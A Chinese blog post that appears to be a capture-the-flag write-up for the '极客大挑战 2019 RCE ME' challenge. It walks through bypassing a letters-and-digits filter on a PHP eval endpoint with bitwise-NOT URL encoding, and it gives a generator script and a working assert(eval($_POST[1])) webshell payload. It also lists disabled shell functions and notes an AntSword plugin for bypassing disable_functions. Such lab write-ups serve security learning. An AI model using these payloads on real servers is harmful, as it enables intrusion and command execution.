极客大挑战 2019 RCE ME

本文最后更新于:2023年10月15日 晚上

[极客大挑战 2019]RCE ME

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){ //长度限制
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){ //$code中不能出现字母和数字
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

这是一道无字母数字RCE

绕过方法有很多,比如取反异或等。

传入phpinfo()测试:

1
2
3
4
<?php
$a=urlende(~("phpinfo"));
echo $a;
//%8F%97%8F%96%91%99%90

直接将命令异或或者取反即可 取反后也有带数字字母的编码,为什么就可以呢,因为取反后url进行编码会将其编码为无法识别的字符,从而绕过无字母无数字的过滤

还有为什么不能直接phpinfo()取反

(~%8F%97%8F%96%91%99%90%D7%D6);被当作代码执行时的第一步就是取反操作 ~

但是取反得到的字符串 phpinfo()并不会被当作代码执行,因为在取反之前PHP解释器并不知道这原来是 phpinfo()

1
?code=(~%8F%97%8F%96%91%99%90)();  //注意~在括号里面,最后要带;

这样相当于"phpinfo"();,即phpinfo(); (php可变函数)

2023090101

禁用了很多函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pcntl_alarm
pcntl_fork,
pcntl_waitpid,
pcntl_wait,
pcntl_wifexited,
pcntl_wifstopped,
pcntl_wifsignaled,
pcntl_wifcontinued,
pcntl_wexitstatus,
pcntl_wtermsig,
pcntl_wstopsig,
pcntl_signal,
pcntl_signal_get_handler,
pcntl_signal_dispatch,
pcntl_get_last_error,
pcntl_strerror,
pcntl_sigprocmask,
pcntl_sigwaitinfo,
pcntl_sigtimedwait,
pcntl_exec,
pcntl_getpriority,
pcntl_setpriority,
pcntl_async_signals,
system,exec,
shell_exec,
popen,
proc_open,
passthru,
symlink,
link,
syslog,
imap_open,
ld,
dl

为了安全起见,很多运维人员会禁用PHP的一些“危险”函数,例如eval、exec、system等,将其写在php.ini配置文件中,就是我们所说的disable_functions了,特别是虚拟主机运营商,为了彻底隔离同服务器的客户,以及避免出现大面积的安全问题,在disable_functions的设置中也通常较为严格。如果在渗透时,上传了webshell却因为disable_functions禁用了我们函数而无法执行命令的话,这时候就需要想办法进行绕过,突破disable_functions

构造shell

在这里,我们不能直接使用eval 因为 所以为我们无法通过变量函数的方法进行调用。
在这里,我们使用 assert 来构造,但由于php版本问题,我们并不能直接构造<?php assert($_POST[‘a’]);>

我们需要调用eval
拼接为 assert(eval($_POST[test]))

翻了十几篇博客,大部分没有解释这个马是怎么来的,只找到这个不怎么清楚的解释

1
assert(eval($_POST[1])); #assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。

构造脚本:

1
2
3
4
5
6
7
8
9
10
11
<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo $d;
?>
//%9E%8C%8C%9A%8D%8B<br>%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6
1
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

蚁剑连接

根目录里有flag和readflag

flag读不了,只能尝试运行readflag

而绕过diseable_funtion才能运行readflag

可使用蚁剑插件

2023090102

得到flag

2023090103

参考

绕过Disable Functions来搞事情 - FreeBuf网络安全行业门户

[极客大挑战 2019]RCE ME - L0VEhzzz - 博客园 (cnblogs.com)

[BUUCTF:极客大挑战 2019]RCE ME ——两种方法_hcjtn的博客-CSDN博客


极客大挑战 2019 RCE ME
http://example.com/2023/09/01/[极客大挑战 2019]RCE ME/
作者
sawtooth384
发布于
2023年9月1日
许可协议